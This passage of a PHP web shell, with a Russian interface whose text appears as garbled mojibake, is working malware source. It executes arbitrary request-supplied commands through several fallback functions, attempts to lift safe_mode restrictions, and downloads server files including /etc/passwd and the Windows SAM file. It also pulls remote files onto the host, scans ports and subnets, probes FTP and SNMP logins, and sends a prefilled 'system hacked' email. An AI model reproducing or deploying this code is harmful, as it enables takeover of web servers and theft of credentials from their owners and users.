3512
3513return $r;
3514
3515}
3516
3517}
3518
3519if (!empty($dl)) {
3520
3521ob_clean();
3522
3523$con=file_get_contents($dl);
3524
3525header("Content-type: application/octet-stream");
3526
3527header("Content-disposition: attachment; filename=\"$dl\";");
3528
3529header("Content-length: ".strlen($con));
3530
3531echo $con;
3532
3533exit;
3534
3535}
3536
3537if (!empty($img)) {
3538
3539header("Content-type: image/gif");
3540
3541header("Content-length: ".filesize($img));
3542
3543header("Last-Modified: ".date("r",filemtime($img)));
3544
3545echo file_get_contents($img);
3546
3547exit;
3548
3549}
3550
3551function showsize($size) {
3552
3553if ($size>=1073741824) { $size = round(($size/1073741824) ,2)." ца"; }
3554
3555elseif ($size>=1048576) { $size = round(($size/1048576),2)." ла"; }
3556
3557elseif ($size>=1024) { $size = round(($size/1024),2)." йа"; }
3558
3559else { $size .= " B"; }
3560
3561return $size;
3562
3563}
3564
3565if (substr((strtoupper(php_uname())),0,3)=="WIN") { $windows=1; } else { $windows=0; }
3566
3567function name(){
3568
3569$name='';
3570
3571srand((double)microtime()*100000);
3572
3573for ($i=0;$i<=rand(3,10);$i++){
3574
3575$name.=chr(rand(97,122));
3576
3577}
3578
3579return $name;
3580
3581}
3582
3583function whereistmp() {
3584
3585$uploadtmp=ini_get('upload_tmp_dir');
3586
3587$envtmp=(getenv('TMP'))?getenv('TMP'):getenv('TEMP');
3588
3589if(is_dir('/tmp') && is_writable('/tmp')) { return '/tmp'; }
3590
3591if(is_dir('/usr/tmp') && is_writable('/usr/tmp')) { return '/usr/tmp'; }
3592
3593if(is_dir('/var/tmp') && is_writable('/var/tmp')) { return '/var/tmp'; }
3594
3595if(is_dir($uploadtmp) && is_writable($uploadtmp)) { return $uploadtmp; }
3596
3597if(is_dir($envtmp) && is_writable($envtmp)) { return $envtmp; }
3598
3599return ".";
3600
3601}
3602
3603function shell($command){
3604
3605global $windows,$disablefunctions;
3606
3607$exec = '';$output= '';
3608
3609$dep[]=array('pipe','r');$dep[]=array('pipe','w');
3610
3611if(is_callable('passthru') && !strstr($disablefunctions,'passthru')){ @ob_start();passthru($command);$exec=@ob_get_contents();@ob_clean();@ob_end_clean();}
3612
3613elseif(is_callable('system') && !strstr($disablefunctions,'system')){$tmp = @ob_get_contents(); @ob_clean();system($command) ; $output = @ob_get_contents(); @ob_clean(); $exec= $tmp; }
3614
3615elseif(is_callable('exec') && !strstr($disablefunctions,'exec')) {exec($command,$output);$output = join("\n",$output);$exec= $output;}
3616
3617elseif(is_callable('shell_exec') && !strstr($disablefunctions,'shell_exec')){$exec= shell_exec($command);}
3618
3619elseif(is_resource($output=popen($command,"r"))) {while(!feof($output)){$exec= fgets($output);}pclose($output);}
3620
3621elseif(is_resource($res=proc_open($command,$dep,$pipes))){while(!feof($pipes[1])){$line = fgets($pipes[1]); $output.=$line;}$exec= $output;proc_close($res);}
3622
3623elseif ($windows && is_object($ws = new COM("WScript.Shell"))){$dir=(isset($_SERVER["TEMP"]))?$_SERVER["TEMP"]:ini_get('upload_tmp_dir') ;$name = $_SERVER["TEMP"].name();$ws->Run("cmd.exe /C $command >$name", 0, true);$exec = file_get_contents($name);unlink($name);}
3624
3625else { $exec="Sorry, you can not execute commands on this server."; }
3626
3627$exec=convert_cyr_string ($exec, "a", "w");
3628
3629return $exec;
3630
3631}
3632
3633function downloadit($get,$put){
3634
3635$fo=strtolower(ini_get('allow_url_fopen'));
3636
3637if($fo || $fo=='on') { $con=file_get_contents($get); }
3638
3639else {
3640
3641$u=parse_url($get);
3642
3643$host=$u['host']; $file==(!empty($u['path']))?$u['path']:'/';
3644
3645$url=fsockopen($host, 80, $en, $es, 12);
3646
3647fputs($url, "GET $file HTTP/1.0\r\nAccept-Encoding: */*\r\nHost: $host\r\nUser-Agent: Mozilla/5.0 (compatible; Konqueror/3.1; FreeBSD)\r\n\r\n");
3648
3649$tmp=$con='';
3650
3651while($tmp!="\r\n") { $tmp=fgets($url); }
3652
3653while(!feof($url)) { $con.=fgets($url); }
3654
3655}
3656
3657$mk=file_put_contents($put,$con);
3658
3659if($mk) { return 1; }
3660
3661return 0;
3662
3663}
3664
3665function smtplogin($addr,$user,$pass,$timeout){
3666
3667$sock=fsockopen($addr,25,$n,$s,$timeout);
3668
3669if(!$sock) { return -1; }
3670
3671fputs($sock,'HELO '.name()."\r\n");
3672
3673$res=fgets($res,3);
3674
3675if($res!='220') { return 0; }
3676
3677fputs($sock,"auth login\r\n");
3678
3679$res=fgets($res,3);
3680
3681if($res!='220') { return 0; }
3682
3683fputs($sock,base64_encode($user)."\r\n");
3684
3685$res=fgets($res,3);
3686
3687if($res!='220') { return 0; }
3688
3689fputs($sock,base64_encode($pass)."\r\n");
3690
3691$res=fgets($res,3);
3692
3693if($res!='220') { return 0; }
3694
3695return 1;
3696
3697}
3698
3699function checksmtp($host,$timeout){
3700
3701if (!fsockopen($host,25,$n,$s,$timeout)) { return 0; }
3702
3703return 1;
3704
3705}
3706
3707function check_url($url,$timeout){
3708
3709$u=parse_url($url);
3710
3711$host=$u['host'];
3712
3713$file=(!empty($u['path']))?$u['path']:'/';
3714
3715$sock=fsockopen($host,80,$en,$es,$timeout);
3716
3717if($sock){
3718
3719fputs($sock,"GET $file HTTP/1.0\r\n");
3720
3721fputs($sock,"Host: $host\r\n\r\n");
3722
3723$res=substr(fgets($sock,12),9);
3724
3725if($res=='20') { return 1; }
3726
3727}
3728
3729return 0;
3730
3731}
3732
3733function get_sw_name($host,$timeout){
3734
3735$sock=fsockopen($host,80,$en,$es,$timeout);
3736
3737if($sock){
3738
3739$page=name().name();
3740
3741fputs($sock,"GET /$page HTTP/1.0\r\n\r\n");
3742
3743while(!feof($sock)) {
3744
3745$con=fgets($sock);
3746
3747if(strstr($con,'Server:')) {$ser=substr($con,strpos($con,' ')+1); return $ser;}
3748
3749} fclose($sock); return -1; } return 0;
3750
3751}
3752
3753function snmpcheck($ip,$com,$timeout) {
3754
3755$res="";
3756
3757$packet = "0&".chr(2).chr(1).chr(0).chr(4).chr(strlen($com)).$com.chr(160).chr(25).chr(2).chr(1)."/".chr(2).chr(1).chr(0).chr(2).chr(1).chr(0)."0".chr(14)."0".chr(12).chr(6).chr(8)."+".chr(6).chr(1).chr(2).chr(1).chr(1).chr(2).chr(0).chr(5).chr(0);
3758
3759$sock = fsockopen("udp://$ip",161);
3760
3761socket_set_timeout($sock,$timeout);
3762
3763fputs($sock,$packet);
3764
3765socket_set_timeout($sock,$timeout);
3766
3767$res = fgets($sock);
3768
3769fclose($sock);
3770
3771return $res;
3772
3773}
3774
3775$safemode=(ini_get('safe_mode') or strtolower(ini_get('safe_mode')) == 'on')?'ON':'OFF';
3776
3777if($safemode=="ON") { ini_restore("safe_mode"); ini_restore("open_basedir"); }
3778
3779function showimage($img) { echo "<center><img border=0 src=\"".hlink("image=".$img."&&workingdir=".getcwd())."\"></center>"; }
3780
3781function editor($file){
3782
3783global $errorbox,$et,$hcwd;
3784
3785if (is_file($file)) {
3786
3787if (!is_readable($file)) { echo $errorbox." тЮИК МЕ ДÐЯРСОЕМ ДКЪ ВРЕМХЪ".$et."<br>"; }
3788
3789if (!is_writable($file)){ echo $errorbox." тЮИК МЕ ДÐЯРСОЕМ ДКЪ ГЮОХЯХ".$et."<br>"; }
3790
3791$data = file_get_contents($file);
3792
3793echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"50%\"><tr><td><form method=\"POST\">".$hcwd."<input type=text value=\"".htmlspecialchars($file)."\" size=75 name=file><input type=submit class=buttons name=Open value=нРЙПШРÐ></td></tr></form></table><br><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"50%\"><tr><td><form method=\"POST\"><textarea rows=\"18\" name=\"edited\" cols=\"64\">";
3794
3795echo htmlspecialchars($data);
3796
3797echo "</textarea></td></tr><tr><td><input type=text value=\"".$file."\" size=80 name=file></td></tr><td>";
3798
3799} else {
3800
3801echo "<center><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"50%\"><tr><td><form method=\"POST\"><input type=text value=\"".getcwd()."\" size=75 name=file>".$hcwd."<input type=submit class=buttons name=Open value=нРЙПШРÐ></td></tr></form></table><br><table border=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"50%\"><tr><td><form method=\"POST\"><textarea rows=\"18\" name=\"edited\" cols=\"63\"></textarea></td></tr><tr><td><input type=text value=\"".getcwd()."\" size=80 name=file></td></tr><td>";
3802
3803}
3804
3805echo $hcwd."<input type=submit class=buttons name=save value=ÑÐУПЮМХРÐ></td></form></tr></table></center>";
3806
3807}
3808
3809function webshell() {
3810
3811global $windows,$hcwd;
3812
3813if($windows) {
3814
3815$alias="<option value=\"netstat -an\">оÐЙЮГЮРРÐРЙПШРШЕ ОÐПРШ</option><option value=\"tasklist\">ÑОХЯÐЙ ОПÐЖЕЯЯÐБ</option><option value=\"systeminfo\">хМТРРЯХЯРЕЛЕ</option><option value=\"ipconfig /all\">йÐМТХЦСПЮЖХЪ IP</option><option value=\"getmac\">ÑГМЮРРMAC ЮДПЕЯ</option><option value=\"net start\">ÑОХЯÐЙ ЯКСФÐ</option><option value=\"net view\">дПСЦХЕ ЙÐЛОШ Б ЯЕРХ</option><option value=\"net user\">ÑОХЯÐЙ ЧГЕПÐБ</option><option value=\"gpresult\">Group policy</option><option value=\"shutdown -s -f -t 1\">бШПСÐХРРЯЕПБЕП</option>";
3816
3817} else {
3818
3819$alias="<option value=\"netstat -an | grep -i listen\">оÐЙЮГЮРРÐРЙПШРШЕ ОÐПРШ</option><option value=\"last -a -n 250 -i\">оÐЙЮГЮРРОÐЯКЕДМХУ 250 ГЮКÐЦХМХБЬХУЯЪ ЧГЕПÐБ</option><option value=\"which wget curl lynx w3m\">йЮВЮКЙХ</option><option value=\"find / -perm -2 -type d -print\">мЮИРХ ПЮЯЬЮПЕММШЕ ОЮОЙХ</option><option value=\"find . -perm -2 -type d -print\">мЮИРХ ПЮЯЬЮПЕММШЕ ОЮОЙХ Б РЕЙСЫЕИ</option><option value=\"find / -perm -2 -type f -print\">мЮИРХ ПЮЯЬЮПЕММШЕ ТЮИКШ</option><option value=\"find . -perm -2 -type f -print\">мЮИРХ ПЮЯЬЮПЕММШЕ ТЮИКШ Б РЕЙСЫИЕ ОЮОЙЕ</option><option value=\"find / -type f -perm 04000 -ls\">мЮИРХ ТЮИКШ Я ÐХРÐЛ SUID</option><option value=\"find / -type f -perm 02000 -ls\">мЮИРХ ТЮИКШ Я ÐХРÐЛ SGID</option><option value=\"find / -name .htpasswd -type f\">мЮИРХ ТЮИКШ .htpasswd</option><option value=\"find / -type f -name .bash_history\">мЮИРХ ТЮИКШ .bash_history</option><option value=\"cat /etc/syslog.conf\">оÐЙЮГЮРРsyslog.conf</option><option value=\"cat cat /etc/hosts\">оÐЙЮГЮРРТЮИК hosts</option><option value=\"ps auxw\">ÑОХЯÐЙ ОПÐЖЕЯЯÐБ</option>";
3820
3821if(is_dir('/etc/valiases')) { $alias.="<option value=\"ls -l /etc/valiases\">ÑОХЯÐЙ ДÐЛЕМÐБ Cpanel (valiases)</option>"; }
3822
3823if(is_dir('/etc/vdomainaliases')) { $alias.="<option value=\"ls -l /etc/vdomainaliases\">ÑОХЯÐЙ ДÐЛЕМÐБ Cpanel (vdomainaliases)</option>"; }
3824
3825if(file_exists('/var/cpanel/accounting.log')) { $alias.="<option value=\"cat /var/cpanel/accounting.log\">кÐЦ Cpanel</option>"; }
3826
3827if(is_dir('/var/spool/mail/')) { $alias.="<option value=\"ls /var/spool/mail/\">ÑОХЯÐЙ ОÐÐ’Ð ÐБШУ ЪЫХЙÐБ</option>"; }
3828
3829}
3830
3831echo "<center><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"65%\"><form method=\"POST\"><tr><td width=\"20%\"><b>оСРÐ:</b><input type=text name=workingdir size=82 value=\"".getcwd()."\"><input class=buttons type=submit value=хГЛЕМХРÐ></td></tr></form></table><br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"65%\"><tr><td><b>Web Shell:</b></td></tr><td><textarea rows=\"22\" cols=\"78\">";
3832
3833if (!empty($_REQUEST['cmd'])) { echo shell($_REQUEST['cmd']); }
3834
3835echo "</textarea></td></tr><form method=post><tr><td><input type=text size=91 name=cmd value=\"";
3836
3837if (!empty($_REQUEST['cmd'])) { echo htmlspecialchars(($_REQUEST['cmd'])); }
3838
3839elseif(!$windows) {
3840
3841echo "cat /etc/passwd"; }
3842
3843echo "\">".$hcwd."<input class=buttons type=submit value=бШОÐКМХРÐ></td></tr></form></td></tr><form method=post><tr><td><select name=\"cmd\" width=70>".$alias."</select>".$hcwd."<input class=buttons type=submit value=бШОÐКМХРÐ></td></tr></form></table></table><center>";
3844
3845}
3846
3847function mailer(){
3848
3849global $msgbox,$et,$hcwd;
3850
3851$cwd=getcwd();
3852
3853if (!empty($_REQUEST['subject']) && !empty($_REQUEST['body']) && !empty($_REQUEST['from']) && !empty($_REQUEST['to'])) {
3854
3855$to=$_REQUEST['to'];
3856
3857$from=$_REQUEST['from'];
3858
3859$subject=$_REQUEST['subject'];
3860
3861$body=$_REQUEST['body'];
3862
3863if (!mail($to,$subject,$body,"From: $from")) { break; }
3864
3865echo $msgbox."<b>оХЯÐЛРÐРОПЮБКЕМÐ!</b><br>".$et;
3866
3867}
3868
3869echo "<center><br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"50%\"><tr><form method=\"POST\"><td><b>лЕИКЕП:</b></td></tr><td width=\"20%\">SMTP</td><td>".ini_get('SMTP')." (".ini_get('smtp_port').")</td></tr><tr><td>нР:</td><td><input name=from type=text value=\"\" size=55>".$hcwd."</td><tr><td width=\"25%\">To:</td><td><input name=to type=text value=\"";
3870
3871if (!empty($_REQUEST['to'])) { echo htmlspecialchars($_REQUEST['to']); }
3872
3873elseif(!empty($_ENV["SERVER_ADMIN"])) { echo $_ENV["SERVER_ADMIN"]; }
3874
3875else { echo "admin@".getenv('HTTP_HOST'); }
3876
3877echo "\" size=55></td></tr><tr><td>рЕЛЮ:</td><td><input name=subject type=text value=\"бюь Ñепбеп бгкнлюм :-P\" size=55></td><tr><td>ÑÐÐÐЫЕМХЕ:</td><td><textarea rows=\"18\" cols=\"43\" name=body>бЮЬЮ ЯХЯРЕЛЮ БГКÐЛЮМЮ!</textarea></td></tr><tr><td width=\"10%\"></td><td align=\"right\"><input type=submit class=buttons value=оÐЯКЮРÐ></form>".$et;
3878
3879}
3880
3881function scanner(){
3882
3883global $hcwd;
3884
3885if (!empty($_SERVER["SERVER_ADDR"])) { $host=$_SERVER["SERVER_ADDR"]; } else { $host ="127.0.0.1"; }
3886
3887if (!empty($_REQUEST['target']) && !empty($_REQUEST['fromport']) && !empty($_REQUEST['toport']) && !empty($_REQUEST['timeout']) && !empty($_REQUEST['portscanner'])){
3888
3889$target=$_REQUEST['target']; $from=(int) $_REQUEST['fromport']; $to=(int)$_REQUEST['toport']; $timeout=(int)$_REQUEST['timeout']; $nu = 0;
3890
3891echo "<font color=blue>мЮВЮРРЯЙЮМХПÐБЮМХЕ ОÐПРÐБ ".htmlspecialchars($target).":<br>";
3892
3893for($i=$from;$i<=$to;$i++){
3894
3895$scan=checkthisport($target,$i,$timeout);
3896
3897if ($scan){
3898
3899$nu++;
3900
3901$ser="";
3902
3903if(getservbyport($i,"tcp")) { $ser="(".getservbyport($i,"tcp").")"; }
3904
3905echo $nu.") ".$i." ".$ser." (<a href=\"telnet://".$target.":".$i."\">оÐДЙКЧВХРÐЯЪ</a>)<br>";
3906
3907}
3908
3909flusher();
3910
3911}
3912
3913echo "цÐÐ ÐБÐ!</font>";
3914
3915}
3916
3917elseif (!empty($_REQUEST['securityscanner'])){
3918
3919echo "<font color=blue>";
3920
3921if(!empty($_REQUEST['httpscanner'])){ flusher(); }
3922
3923$from=$_REQUEST['from'];
3924
3925$to=(int)$_REQUEST['to'];
3926
3927$timeout=(int)$_REQUEST['timeout'];
3928
3929$f = substr($from,strrpos($from,".")+1);
3930
3931$from = substr($from,0,strrpos($from,"."));
3932
3933for($i=$f;$i<=$to;$i++){
3934
3935$output=0;
3936
3937$ip=$from.$i;
3938
3939if(!empty($_REQUEST['ipscanner'])){
3940
3941$port=$_REQUEST['port'];
3942
3943if(strstr($port,",")) { $p=explode(",",$port); } else { $p[0]=$port; }
3944
3945$open=$ser="";
3946
3947foreach($p as $po){
3948
3949$scan=checkthisport($ip,$po,$timeout);
3950
3951if ($scan){
3952
3953$ser="";
3954
3955if($ser=getservbyport($po,"tcp"))$ser="(".$ser.")";
3956
3957$open.=" ".$po.$ser." ";
3958
3959}
3960
3961}
3962
3963if($open){ echo $ip.") нРЙПШРШЕ ОÐПРШ:".$open."<br>"; $output=1; }
3964
3965flusher();
3966
3967}
3968
3969if(!empty($_REQUEST['httpbanner'])){
3970
3971$res=get_sw_name($ip,$timeout);
3972
3973if($res){
3974
3975echo $ip.") он БЕÐ-ЯЕПБЕПЮ: ";
3976
3977if($res==-1) { echo "мЕХГБЕЯРМÐ"; }
3978
3979else { echo $res; }
3980
3981echo "<br>";
3982
3983$output=1;
3984
3985}
3986
3987flusher();
3988
3989}
3990
3991if(!empty($_REQUEST['httpscanner'])){
3992
3993$scan=checkthisport($ip,80,$timeout);
3994
3995if($scan && $dl){
3996
3997$file=file($buglist);
3998
3999foreach ($file as $v){
4000
4001$v=trim($v);
4002
4003$url="http://".$ip.$v;
4004
4005$res=check_url($url,$timeout);
4006
4007if($res) { $output=1; echo $ip.")<b><a href=\"".$url."\" target=\"_blank\">".$url."</a></b><br>";}
4008
4009flusher();
4010
4011}
4012
4013$file=array();
4014
4015}
4016
4017}
4018
4019if(!empty($_REQUEST['smtprelay'])){
4020
4021$res='';
4022
4023$res=checksmtp($ip,$timeout);
4024
4025if($res==1){ echo $ip.") SMTP ПЕКЕИ МЮИДЕМ.<br>"; $output=1; } flusher();
4026
4027}
4028
4029if(!empty($_REQUEST['snmpscanner']) && function_exists('socket_set_timeout')){
4030
4031$com=$_REQUEST['com'];
4032
4033$coms=$res="";
4034
4035if(strstr($com,",")) { $c=explode(",",$com); } else { $c[0]=$com; }
4036
4037foreach ($c as $v){
4038
4039$ret=snmpcheck($ip,$v,$timeout);
4040
4041if ($res!="") { $coms .=" $v "; }
4042
4043}
4044
4045if ($coms!=""){ echo "<b>".$ip.") SNMP МЮИДЕМ: ".$coms."</b><br>"; $output=1;}
4046
4047flusher();
4048
4049}
4050
4051if(!empty($_REQUEST['ftpscanner'])){
4052
4053$user=$_REQUEST['user'];
4054
4055$pass=$_REQUEST['pass'];
4056
4057$ftp=ftp_connect($ip,21,$timeout);
4058
4059if ($ftp) {
4060
4061if(ftp_login($ftp,$user,$pass)){ $output=1;echo "<b>".$ip.") FTP МЮИДЕМ: <a href=\"ftp://".$ip."\" target=\"_blank\">".$ip."</a> бУÐД: СЯОЕЬМШИ ÑХЯРЕЛЮ: ".ftp_systype($ftp)."</b><br>";};
4062
4063}
4064
4065flusher();
4066
4067}
4068
4069if($output) { echo "<br>"; }
4070
4071flusher();
4072
4073}
4074
4075echo "</font>";
4076
4077}else{
4078
4079echo "<center><br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"50%\"><tr><form method=\"POST\"><td>ÑЙЮМЕП ОÐПРÐБ:</td></tr><td width=\"25%\">жЕКÐ:</td><td width=80%><input name=target value=".$host." size=40></td></tr><tr><td width=25%>нР:</td><td width=25%><input name=fromport type=text value=\"1\" size=5></td></tr><tr><td width=25%>дÐ:</td><td width=25%><input name=toport type=text value=\"1024\" size=5></td></tr><tr><td width=\"25%\">рЮИЛЮСР:</td><td><input name=timeout type=text value=\"2\" size=5></td><tr><td width=\"25%\"></td><td align=\"right\">".$hcwd."<input type=submit class=buttons name=portscanner value=ÑЙЮМ></td></tr></form></table>";
4080
4081$host = substr($host,0,strrpos($host,"."));
4082
4083echo "<br><table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"50%\"><tr><form method=\"POST\" name=security><td>ÑЙЮМЕП ÐЕГÐОЮЯМÐЯРХ:</td></tr><td width=\"25%\">нР:</td><td width=80%><input name=from value=".$host.".1 size=40></td></tr><tr><td width=25%>дÐ:</td><td width=25%>xxx.xxx.xxx.<input name=to type=text value=254 size=4>".$hcwd."</td></tr><tr><td width=\"25%\">рЮИЛЮСР:</td><td><input name=timeout type=text value=\"2\" size=5></td></tr><tr><td width=\"25%\"><input type=checkbox name=ipscanner value=1 checked onClick=\"document.security.port.disabled = !document.security.port.disabled;\" style=\"border-width:1px;\">ÑЙЮМЕП ОÐПРÐБ:</td><td><input name=port type=text value=\"21,23,25,80,110,135,139,1433,3306,3389\" size=60></td></tr><tr><td width=\"25%\"><input type=checkbox name=httpbanner value=1 checked style=\"border-width:1px;\">оÐКСВХРРБЕÐ-ÐЮММЕП</td><td><input type=checkbox name=httpscanner value=1 checked style=\"border-width:1px;\">ÑЙЮМЕП ÐЕГÐОЮЯМÐЯРХ БЕÐ-ЯЕПБЕПЮ <input type=checkbox name=smtprelay value=1 checked style=\"border-width:1px;\">оПÐБЕПЙЮ SMTP ПЕКЕЪ</td></tr><tr><td width=\"25%\"><input type=checkbox name=ftpscanner value=1 checked onClick=\"document.security.user.disabled = !document.security.user.disabled;document.security.pass.disabled = !document.security.pass.disabled;\" style=\"border-width:1px;\">FTP ОЮПÐКÐ:</td><td>чГЕП:<input name=user type=text value=\"anonymous\" size=20> оЮПÐКÐ:<input name=pass type=text value=\"admin@\" size=20></td></tr><tr><td width=\"25%\"><input type=checkbox name=snmpscanner value=1 onClick=\"document.security.com.disabled = !document.security.com.disabled;\" checked style=\"border-width:1px;\">SNMP:</td><td><input name=com type=text value=\"public,private\" size=60></td></tr><tr><td width=\"25%\"></td><td align=\"right\"><input type=submit class=buttons name=securityscanner value=ÑЙЮМ></td></tr></form></table></center><br><center>";
4084
4085}
4086
4087}
4088
4089function sysinfo(){
4090
4091global $windows,$disablefunctions,$safemode;
4092
4093$cwd= getcwd();
4094
4095$mil="<a target=\"_blank\" href=\"http://www.milw0rm.org/related.php?program=";
4096
4097$basedir=(ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"ON":"OFF";
4098
4099if (!empty($_SERVER["PROCESSOR_IDENTIFIER"])) { $CPU = $_SERVER["PROCESSOR_IDENTIFIER"]; }
4100
4101$osver=$tsize=$fsize='';
4102
4103if ($windows){
4104
4105$osver = " (".shell("ver").")";
4106
4107$sysroot = shell("echo %systemroot%");
4108
4109if (empty($sysroot)) { $sysroot = $_SERVER["SystemRoot"]; }
4110
4111if (empty($sysroot)) { $sysroot = getenv("windir"); }
4112
4113if (empty($sysroot)) { $sysroot = "мЕ МЮИДЕМ"; }
4114
4115if (empty($CPU)) { $CPU = shell("echo %PROCESSOR_IDENTIFIER%"); }
4116
4117for ($i=66;$i<=90;$i++){
4118
4119$drive= chr($i).':\\';
4120
4121if (is_dir($drive)){
4122
4123$fsize+=disk_free_space($drive);
4124
4125$tsize+=disk_total_space($drive);
4126
4127}
4128
4129}
4130
4131}else{
4132
4133$fsize=disk_free_space('/');
4134
4135$tsize=disk_total_space('/');
4136
4137}
4138
4139$disksize="гЮМЪРÐ: ". showsize($tsize-$fsize) . " ÑБÐÐÐДМÐ: ". showsize($fsize) . " бЯЕЦÐ: ". showsize($tsize);
4140
4141if (empty($CPU)) $CPU = "мЕХГБЕЯРМШИ";
4142
4143$os = php_uname();
4144
4145$osn=php_uname('s');
4146
4147if(!$windows){
4148
4149$ker = php_uname('r');
4150
4151$o=($osn=="Linux")?"Linux+Kernel":$osn;
4152
4153$os = str_replace($osn,"${mil}$o\">$osn</a>",$os);
4154
4155$os = str_replace($ker,"${mil}Linux+Kernel\">$ker</a>",$os);
4156
4157$inpa=':';
4158
4159}else{
4160
4161$sam = $sysroot."\\system32\\config\\SAM";
4162
4163$inpa=';';
4164
4165$os = str_replace($osn,"${mil}MS+Windows\">$osn</a>",$os);
4166
4167}
4168
4169$software=str_replace("Apache","${mil}Apache\">Apache</a>",$_SERVER['SERVER_SOFTWARE']);
4170
4171echo "<table border=0 cellpadding=0 cellspacing=0 style=\"border-collapse: collapse\" bordercolor=\"#282828\" width=\"100%\"><tr><td>хМТРРЯЕПБЕПЕ:</td></tr><tr><td width=\"25%\">ÑЕПБЕП:</td><td>".$_SERVER["HTTP_HOST"];
4172
4173if (!empty($_SERVER["SERVER_ADDR"])){ echo "(". $_SERVER["SERVER_ADDR"] .")"; }
4174
4175echo "</td></tr><tr><td width=\"25%\">нÑ:</td><td>".$os.$osver."</td></tr><tr><td width=\"25%\">оПХКÐФЕМХЕ:</td><td>".$software."</td></tr><tr><td width=\"25%\">оПÐЖЕЯЯÐП:</td><td>".$CPU."</td></tr><td width=\"25%\">ÑÐЯРÐЪМХЕ ОЮЛЪРХ:</td><td>".$disksize."</td></tr><tr><td width=\"25%\">дÐЛЕМ ОÐКÐГÐБЮРЕКЪ:</td><td>";
4176
4177if (!empty($_SERVER['USERDOMAIN'])) { echo $_SERVER['USERDOMAIN']; } else { echo "мЕХГБЕЯРМШИ"; }
4178
4179echo "</td></tr><tr><td width=\"25%\">User name:</td><td>";
4180
4181$cuser=get_current_user();
4182
4183if (!empty($cuser)) { echo get_current_user(); } else { echo "мЕХГБЕЯРМШИ"; }
4184
4185echo "</td></tr>";
4186
4187if ($windows){
4188
4189echo "<tr><td width=\"25%\">оЮОЙЮ Windows:</td><td><a href=\"".hlink("sec=fm&workingdir=".$sysroot)."\">".$sysroot."</a></td></tr><tr><td width=\"25%\">Sam ТЮИК:</td><td>";
4190
4191if (is_readable(($sam))) { echo "<a href=\"".hlink("?workingdir=".$sysroot."\\system32\\config&download=sam")."\">вХРЮЕЛШИ</a>"; }
4192
4193else { echo "мЕВХРЮЕЛШИ"; }
4194
4195echo "</td></tr>";
4196
4197}else{
4198
4199echo "<tr><td width=\"25%\">тЮИК Я ОЮПÐКЪЛХ:</td><td>";
4200
4201if (is_readable('/etc/passwd')) { echo "<a href=\"".hlink("sec=edit&file=/etc/passwd&workingdir=".$cwd)."\">вХРЮЕЛШИ</a>"; }
4202
4203else { echo'мЕВХРЮЕЛШИ'; }
4204
4205echo "</td></tr><tr><td width=\"25%\">кÐЦ Cpanel:</td><td>";
4206
4207if (file_exists("/var/cpanel/accounting.log")){
4208
4209if (is_readable("/var/cpanel/accounting.log")) { echo "<a href=\"".hlink("sec=edit&file=/var/cpanel/accounting.log&workingdir=".$cwd)."\">вХРЮЕЛШИ</a>"; }
4210
4211else { echo "мЕ ВХРЮЕЛШИ"; }
4212
4213}else{
4214
4215echo "мЕ МЮИДЕМ";
4216
4217}
4218
4219echo "</td></tr>";
4220
4221}
4222
4223$uip =(!empty($_SERVER['REMOTE_ADDR']))?$_SERVER['REMOTE_ADDR']:getenv('REMOTE_ADDR');
4224
4225echo "<tr><td width=\"25%\">${mil}PHP\">PHP</a> БЕПЯХЪ:</td><td><a href=\"?=".php_logo_guid()."\" target=\"_blank\">".PHP_VERSION."</a> (<a href=\"".hlink("sec=phpinfo&workingdir=$cwd")."\">ОÐДПÐÐМЕЕ...</a>)</td></tr><tr><td width=\"25%\">бЕПЯХЪ Zend:</td><td>";
4226
4227if (function_exists('zend_version')) { echo "<a href=\"?=".zend_logo_guid()."\" target=\"_blank\">".zend_version()."</a>"; }
4228
4229else { echo "мЕ МЮИДЕМ"; }
4230
4231echo "</td><tr><td width=\"25%\">Include path:</td><td>".str_replace($inpa," ",DEFAULT_INCLUDE_PATH)."</td><tr><td width=\"25%\">PHP ЛÐДСКХ:</td><td>";
4232
4233$ext=get_loaded_extensions();
4234
4235foreach($ext as $v) { echo $v." "; }
4236
4237echo "</td><tr><td width=\"25%\">гЮОПЕЫ╦ММШЕ ТСМЙЖХХ:</td><td>";
4238
4239if(!empty($disablefunctions)) { echo $disablefunctions; }
4240
4241else { echo "мЕР"; }
4242
4243echo"</td></tr><tr><td width=\"25%\">аЕГÐОЮЯМШИ ПЕФХЛ:</td><td>".$safemode."</td></tr><tr><td width=\"25%\">Open base dir:</td><td>".$basedir."</td></tr><tr><td width=\"25%\">ад:</td><td>";$sq="";
4244
4245if(function_exists('mysql_connect')) { $sq= "${mil}MySQL\">MySQL</a> "; }
4246
4247if(function_exists('mssql_connect')) { $sq.= " ${mil}MSSQL\">MSSQL</a> "; }
4248
4249if(function_exists('ora_logon')) { $sq.= " ${mil}Oracle\">Oracle</a> "; }
4250
4251if(function_exists('sqlite_open')) { $sq.= " SQLite "; }
4252
4253if(function_exists('pg_connect')) { $sq.= " ${mil}PostgreSQL\">PostgreSQL</a> "; }
4254
4255if(function_exists('msql_connect')) { $sq.= " mSQL "; }
4256
4257if(function_exists('mysqli_connect')) { $sq.= " MySQLi "; }
4258
4259if(function_exists('ovrimos_connect')) { $sq.= " Ovrimos SQL "; }
4260
4261if (empty($sq)) { $sq= "мЕР"; }
4262
4263echo $sq."</td></tr>";
4264
4265if(function_exists('curl_init')) { echo "<tr><td width=\"25%\">оÐДДЕПФЙЮ cURL:</td><td>еЯРР"; }
4266
4267if(function_exists('curl_version')) { $ver=curl_version(); echo "(бЕПЯХЪ:". $ver['version']." OpenSSL БЕПЯХЪ:". $ver['ssl_version']." zlib БЕПЯХЪ:". $ver['libz_version']." host:". $ver['host'] .")"; }
4268
4269echo "</td></tr>";
4270
